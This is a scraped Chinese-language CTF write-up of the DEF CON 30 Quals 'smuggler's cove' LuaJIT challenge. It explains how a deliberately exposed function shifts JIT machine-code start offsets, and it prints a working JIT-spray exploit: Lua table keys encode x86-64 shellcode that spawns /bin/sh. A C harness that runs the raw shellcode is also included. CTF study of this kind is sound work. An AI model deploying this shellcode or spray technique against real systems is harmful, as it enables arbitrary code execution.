

Defcon-30-Quals smuggler's cove 复盘笔记
source link: https://kiprey.github.io/2022/08/defcon30quals_smugglers_cove/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这里将记录着本人复盘 Defcon 30 Quals 中 smuggler's cove
的复盘笔记。
本题是一道 luaJIT 的 pwn 题。
二、环境配置
首先,从提供的 libluajit 文件中获取其版本号:

之后下载源码切换版本开始编译:
# 下载源码
git clone [email protected]:LuaJIT/LuaJIT.git
# 进入 LuaJIT 文件夹
cd LuaJIT
# 切换版本
git checkout v2.1.0-beta3
# 手动修改 LuaJIT/src/Makefile, 使得编译时带有调试信息
# 编译
make -j `nproc`
# 退出 LuaJIT 文件夹
cd ..
# 编译,链接时附带刚编译出来的 libluajit.so
gcc cove.c -g3 -ggdb3 -o mycove -I LuaJIT/src -L ./LuaJIT/src/ -l luajit
# 给编译出的 libluajit 改个名字
ln -s /root/cove/LuaJIT/src/libluajit.so /root/cove/LuaJIT/src/libluajit-5.1.so.2
# 指定库路径并执行
LD_LIBRARY_PATH=/root/cove/LuaJIT/src ./mycove
# 如果要执行提供程序本身,则使用以下指令
LD_LIBRARY_PATH=. ./cove exp.lua
三、漏洞点
题目主要给出了两个源码文件。一个是 dig_up_the_loot.c
,该源码所编译出来的可执行文件是用来提供 flag 的,只有当使用特定参数执行该二进制文件时 flag 才会输出:

再一个源码文件就是调用 LuaJIT 库的主源码文件 cove.c
。该源码中的内容大致如下几点:
-
读入 lua 文件,其中该 lua 文件大小最大不可超过 433 字节。
-
设置 luaJIT 配置,并禁用 JIT 全局变量的暴露,防止用户直接设置或修改 JIT 属性:
void set_jit_settings(lua_State* L) {
luaL_dostring(L,
"jit.opt.start('3');"
"jit.opt.start('hotloop=1');"
);
}
void init_lua(lua_State* L) {
// Init JIT lib
lua_pushcfunction(L, luaopen_jit);
lua_pushstring(L, LUA_JITLIBNAME);
lua_call(L, 1, 0);
set_jit_settings(L);
//set jit = nil;
lua_pushnil(L);
lua_setglobal(L, "jit");
lua_pop(L, 1);
... -
注册 print 函数,用于输出信息:
int print(lua_State* L) {
if (lua_gettop(L) < 1) {
return luaL_error(L, "expecting at least 1 arguments");
}
const char* s = lua_tostring(L, 1);
puts(s);
return 0;
} -
最重要的一个操作。注册 lua 函数
cargo
,该函数实际调用 C 函数debug_jit
。GCtrace* getTrace(lua_State* L, uint8_t index) {
jit_State* js = L2J(L);
if (index >= js->sizetrace)
return NULL;
return (GCtrace*)gcref(js->trace[index]);
}
int debug_jit(lua_State* L) {
if (lua_gettop(L) != 2) {
return luaL_error(L, "expecting exactly 1 arguments");
}
luaL_checktype(L, 1, LUA_TFUNCTION);
const GCfunc* v = lua_topointer(L, 1);
if (!isluafunc(v)) {
return luaL_error(L, "expecting lua function");
}
uint8_t offset = lua_tointeger(L, 2);
uint8_t* bytecode = mref(v->l.pc, void);
uint8_t op = bytecode[0];
uint8_t index = bytecode[2];
GCtrace* t = getTrace(L, index);
if (!t || !t->mcode || !t->szmcode) {
return luaL_error(L, "Blimey! There is no cargo in this ship!");
}
printf("INSPECTION: This ship's JIT cargo was found to be %p\n", t->mcode);
if (offset != 0) {
if (offset >= t->szmcode - 1) {
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset;
t->szmcode -= offset;
printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
}
return 0;
}
注册的 lua 函数 cargo
要求传入参数必须分别为函数类型和整型类型。从代码中可以得知,当 lua 调用 cargo
函数后,lua 解释器会先寻找所传入 lua 函数的 JIT 相关结构体,并修改该 JIT 后所执行机器码的起始偏移量。被修改的属性 GCtrace::mcode
和 GCtrace::szmcode
分别是编译后机器码的起始位置和偏移量:
/* Trace object. */
typedef struct GCtrace {
...
MSize szmcode; /* Size of machine code. */
MCode *mcode; /* Start of machine code. */
...
} GCtrace;
因此,如果可以用立即数精心构造一段 JIT 后的机器码,再修改 JIT 代码起始位置,那么控制流就会将精心准备的立即数识别为指令执行,这样一来就可以成功执行 shellcode。
这种做法也被称之为 JIT Spray。
注意到 LuaJIT 设置了一段 jit 的配置:
void set_jit_settings(lua_State* L) {
luaL_dostring(L,
"jit.opt.start('3');"
"jit.opt.start('hotloop=1');"
);
}
其中两行 lua 代码都调用了 lua 中的jit.opt.start()
函数,该函数的实现位于 LuaJIT/src/lib_jit.c:512
处:
/* jit.opt.start(flags...) */
LJLIB_CF(jit_opt_start)
{
jit_State *J = L2J(L);
int nargs = (int)(L->top - L->base);
if (nargs == 0) {
J->flags = (J->flags & ~JIT_F_OPT_MASK) | JIT_F_OPT_DEFAULT;
} else {
int i;
for (i = 1; i <= nargs; i++) {
const char *str = strdata(lj_lib_checkstr(L, i));
if (!jitopt_level(J, str) &&
!jitopt_flag(J, str) &&
!jitopt_param(J, str))
lj_err_callerv(L, LJ_ERR_JITOPT, str);
}
}
return 0;
}
lua 两次调用 jit.opt.start
函数,分别设置了:
-
jit.opt.start('3')
:进入jitopt_level
,设置优化等级为 3(最高)/* Optimization levels set a fixed combination of flags. */
#define JIT_F_OPT_0 0
#define JIT_F_OPT_1 (JIT_F_OPT_FOLD|JIT_F_OPT_CSE|JIT_F_OPT_DCE)
#define JIT_F_OPT_2 (JIT_F_OPT_1|JIT_F_OPT_NARROW|JIT_F_OPT_LOOP)
#define JIT_F_OPT_3 (JIT_F_OPT_2|\
JIT_F_OPT_FWD|JIT_F_OPT_DSE|JIT_F_OPT_ABC|JIT_F_OPT_SINK|JIT_F_OPT_FUSE)
#define JIT_F_OPT_DEFAULT JIT_F_OPT_3
/* Parse optimization level. */
static int jitopt_level(jit_State *J, const char *str)
{
if (str[0] >= '0' && str[0] <= '9' && str[1] == '\0') {
uint32_t flags;
if (str[0] == '0') flags = JIT_F_OPT_0;
else if (str[0] == '1') flags = JIT_F_OPT_1;
else if (str[0] == '2') flags = JIT_F_OPT_2;
// 这里!
else flags = JIT_F_OPT_3;
J->flags = (J->flags & ~JIT_F_OPT_MASK) | flags;
return 1; /* Ok. */
}
return 0; /* No match. */
} -
jit.opt.start('hotloop=1')
:初始化 hotcount table。/* Parse optimization parameter. */
static int jitopt_param(jit_State *J, const char *str)
{
const char *lst = JIT_P_STRING;
int i;
for (i = 0; i < JIT_P__MAX; i++) {
size_t len = *(const uint8_t *)lst;
lua_assert(len != 0);
if (strncmp(str, lst+1, len) == 0 && str[len] == '=') {
int32_t n = 0;
const char *p = &str[len+1];
while (*p >= '0' && *p <= '9')
n = n*10 + (*p++ - '0');
if (*p) return 0; /* Malformed number. */
// 1. 控制流进入此处,保存参数
J->param[i] = n;
// 2. hotloop 判断
if (i == JIT_P_hotloop)
// 3. 调用该函数执行初始化操作
lj_dispatch_init_hotcount(J2G(J));
return 1; /* Ok. */
}
lst += 1+len;
}
return 0; /* No match. */
}
#if LJ_HASJIT
/* Initialize hotcount table. */
void lj_dispatch_init_hotcount(global_State *g)
{
int32_t hotloop = G2J(g)->param[JIT_P_hotloop];
HotCount start = (HotCount)(hotloop*HOTCOUNT_LOOP - 1);
HotCount *hotcount = G2GG(g)->hotcount;
uint32_t i;
for (i = 0; i < HOTCOUNT_SIZE; i++)
hotcount[i] = start;
}
#endif这里需要参考以下两个链接来理解 hotcount:
简单来说,hotcount 就是 luajit 追踪特定控制流转移指令(例如调用、跳转等)的一个哈希表,其中存放着所最终指令的热度。luajit 是 tracing jit,而非 method jit,这意味着 luajit 在优化时会以路径为单位,而不是以函数或方法为单位。既然是追踪路径,那么自然就会对控制流转移指令更加的关注,也就会有 hotcount table 这样的设计。
不过 cove 对 JIT 的配置不会对我们的漏洞利用产生太大影响,这里只是简单的扩展了一下。
四、漏洞利用
前置调试知识:
若需执行程序,则直接执行
LD_LIBRARY_PATH=. ./cove exp.lua
即可。若需调试程序,则先
gdb --args ./cove exp.lua
启动 gdb 会话,之后在 gdb 中执行set env LD_LIBRARY_PATH .
即可。
先写个函数随便试试这个 LuaJIT:
function func()
local arr = {1, 2, 3, 4, 5, 6}
end
print(func)
-- cargo(func, 0)
结果触发 SIGSEGV 了,调试发现是 cove 中实现的 print 函数触发空指针。修改代码如下:
int print(lua_State* L) {
if (lua_gettop(L) < 1) {
return luaL_error(L, "expecting at least 1 arguments");
}
const char* s = lua_tostring(L, 1);
- puts(s);
+ puts(s ? s : "(nil)");
return 0;
}
重新编译后执行就不再触发 SIGSEGV 了。
再增加两个调用点,func
函数就会被 JIT 技术进行优化:
function func()
local arr = {1, 2, 3, 4, 5, 6}
end
func()
func()
cargo(func, 0)
-- 输出:INSPECTION: This ship's JIT cargo was found to be 0x800021feffdc
从 GDB 中的信息可以得知,该位置确实存放着所生成的机器指令,而这个位置位于一个 rx 段上:

在这个JIT生成的机器指令下断,下次执行 func
函数时就会触发这个断点(注意下图与上图不对应);而修改调用 cargo
函数的第二个参数 offset,下次执行 JIT 函数时控制流也就会真的偏离 offset 个字节。:

现在我们已经了解如何触发函数的 JIT 优化,并且大致了解了其 JIT 所生成的机器码的情况,接下来要尝试在 JIT Machine Code 中布上我们特定的立即数。有一点需要注意,在 lua 中数字只有 Number
这么一个类型,不区分整型和浮点数型,不过 LuaJIT 内部是使用浮点数来表示 lua 的 Number 类型。这个可以用以下 lua 代码验证:
-- 一个大数
num1 = 0x112233445566
print(num1) -- 输出 18838586676582
num1 = num1 + 0.5
-- 输出时精度丢失
print(num1) -- 输出 18838586676583
-- 超大数,输出浮点数表示法
num1 = 0x1122334455667788
print(num1) --输出 1.2346056164365e+18
现在尝试在 JIT Code 中部署特定值。由于 LuaJIT 启用了许多编译优化,例如 dead code elimination,因此在函数中创建数组对象后需要至少使用该对象一次,否则该对象将直接被删除。由于 print 函数实在是太难用了,因此换了种方法防止被优化。
编写的测试 lua 代码如下:
function func(arr)
arr[0] = 1.0;
arr[1] = 2.0;
arr[2] = 3.0;
arr[3] = 4.0;
arr[4] = 5.0;
arr[5] = 6.0;
end
arr = {1, 2, 3, 4, 5}
func(arr)
func(arr)
cargo(func, 0)
func(arr)
查看编译后的代码,发现生成的 JIT 代码无法满足要求,LuaJIT 会把等号后的数单独保存至其他内存位置,需要使用时再去加载:

由于等号后边的内容再怎么便都无法改变被加载至其他内存的事实,因此我们可以尝试修改等号前面的属性内容,即 arr[xxx] = _
中的 xxx。
在经过一番尝试后,发现属性如果是:
-
字符或字符串,则 JIT code 中会存在大量立即数,但是不可控。
-
诸如 1.0、2.0、3.0 等整型且连续的浮点数,则所生成的 JIT Code 还是会和先前的 JIT code 一致。
-
不连续的浮点数,则所生成的代码将正是我们所需要的那种。例如以下 lua 代码:
function func(arr)
arr[1.0] = 1;
arr[5.0] = 2;
arr[21.0] = 3;
arr[244.0] = 4;
arr[21.0] = 5;
arr[422.0] = 6;
end
arr = {1, 2, 3, 4, 5}
func(arr)
func(arr)
cargo(func, 0)
func(arr)所生成的 JIT Code:
这样一来,我们便可以达到在 JIT Code 上部署特定数据的目的,接下来便是编写 shellcode 并将其部署在 JIT Code 上,这个就是体力活了。
这里需要推荐一个网站 在线浮点数转二进制,这个网站可以非常方便的转换浮点数与二进制。
我编写的 exploit 如下所示(注意,这个 exp 存在亿点点问题):
function f(a)
a[1.2015822066494834e-135] = 1; -- 4831f6 4889f2 ebxx 0x(23ebf28948f63148)
a[1.888017891495551e-193] = 2; -- 4889f1 56 9090 ebxx 0x(17eb909056f18948)
a[1.8732669152797884e-193] = 3; -- 682f62696e 59 ebxx 0x(17eb596e69622f68)
a[1.8748660135882913e-193] = 4; -- 682f2f7368 5f ebxx 0x(17eb5f68732f2f68)
a[1.8880176708811596e-193] = 5; -- 48c1e720 9090 ebxx 0x(17eb909020e7c148)
a[2.383013609192317e-222] = 6; -- 4809cf 57 9090 ebxx 0x(11eb909057cf0948)
a[1.872946064693589e-193] = 7; -- 4889e7 6a3b 58 ebxx 0x(17eb583b6ae78948)
a[1.8880178917328522e-193] = 8; -- 99 6a00 57 9090 ebxx 0x(17eb909057006a99)
a[-2.4120921044623575e+255] = 9; -- 4889e6 0f05 90 f4f4 0x(f4f490050fe68948)
end
a = {1, 2, 3, 4, 5}
f(a)
f(a)
cargo(f, 0x80)
f(a)
其实际执行的 shellcode 为:
4831f6 xor %rsi, %rsi
4889f2 mov %rdx, %rsi
4889f1 mov %rcx, %rsi
56 push %rsi
682f62696e push 0x6e69622f
59 pop rcx
682f2f7368 push 0x68732f2f
5f pop rdi
48c1e720 shl %rdi, 32
4809cf or %rdi, %rcx
57 push %rdi
4889e7 mov %rdi, %rsp
6a3b push 0x3b
58 pop %rax
99 cltd
6a00 push 0
57 push %rdi
4889e6 mov %rsi, %rsp
0f05 syscall
注:
jmp rel8
的机器码为eb
。
这里就快执行 SYS_execve("/bin//sh", ["/bin//sh", NULL], NULL)
了(mcode + 0x181):

但比较奇怪的是,sh 直接退出了:

但我手动写了个代码尝试复现:
#include <unistd.h>
#include <stdlib.h>
int main() {
char* path = "/bin//sh";
char* argv[] = { path, NULL };
execve(path, argv, NULL);
abort();
}
但是复现失败了:

即便是直接执行 shellcode:
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char* shellcode = "\x48\x31\xf6\x48\x89\xf2\x48\x89\xf1\x56\x68\x2f\x62"
"\x69\x6e\x59\x68\x2f\x2f\x73\x68\x5f\x48\xc1\xe7\x20\x48"
"\x09\xcf\x57\x48\x89\xe7\x6a\x3b\x58\x99\x6a\x00\x57\x48\x89\xe6\x0f\x05";
int main() {
// char* path = "/bin//sh";
// char* argv[] = { path, NULL };
// execve(path, argv, NULL);
char buffer[50];
memcpy(buffer, shellcode, 50);
void (*scfunc)() = buffer;
scfunc();
abort();
}
也无法复现这种 /bin/sh
直接退出的情况:

百思不得其解。于是用 gdb 的 catch exec
指令,进入被调用的 dash 子进程开始调试,最后才发现原来是因为 stdin 被关闭了(捂脸):

反过来才发现,cove 代码中其实早有说明,但是当时就是给漏看了:
void run_code(lua_State* L, char* path) {
const size_t max_size = MAX_SIZE;
char* code = calloc(max_size+1, 1);
FILE* f = fopen(path,"r");
...
fseek(f, 0, SEEK_END);
size_t size = ftell(f);
...
fseek(f, 0, SEEK_SET);
fread(code, 1, size, f);
// 这里!stdin 被关闭
fclose(stdin);
int ret = luaL_dostring(L, code);
if (ret != 0) {
printf("Lua error: %s\n", lua_tostring(L, -1));
}
}
麻了,只能说还是自己观察的不够细致,踩了个坑。
本题复盘结束,完结撒花!
Recommend
-
11
2014年5月19日 星期一 Defcon CTF Quals 2014 - Nonameyet write up 記錄一下,Defcon 是世界駭客 CTF 比賽最盛大的賽事,每年都是每個國家資安社群比拼較勁的地方
-
8
Cove Review: Stress-Reducing Vibrations at a Stress-Inducing Price By James Frew Published 3 hours ago If you struggle to clear time...
-
5
Popping the Hood on Golden Cove Alder Lake (ADL) is the most exciting Intel launch in more than half a decade. For the first time since Skylake, Intel has launched a...
-
3
This is Sentosa Cove, the most exclusive enclave in the world's second-most expensive city, Singapore....
-
9
动态词向量(CoVe)是未来的发展趋势,本篇介绍ELMo~ 静态词向量与动态词向量无论是VSM、LSA还是skip-gram、CBOW所获得的词向量都是静态的,并没有考虑不同上下中词的不同语义。例如我们使用gensim训练好word2vec向量后,固定的词,不论该词所...
-
11
这里将记录着本人复盘 Defcon 30 Quals 中 constricted 的复盘笔记。 这道题为 boa 项目提供了一个 git diff,要求在应用这个 diff 后对 boa 进行漏洞利用。boa 是一个使用 rust 编写的 javascript 引擎,要想 pw...
-
7
How an Iraqi Instagram Influencer Became a People SmugglerAbdulrahman Khalid was forced to flee his country because of his outspoken atheism. Now, he’s helping others in the same position—for profit.
-
5
Smuggler tries to sneak 239 CPUs past Chinese customs by strapping them to his body When will people learn? By
-
5
defcon-quals 2023 crackme.tscript.dso wp
-
9
Page not found · GitHub Pages There isn't a GitHub Pages site here. Did you mean to visit schacon.github.io?...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK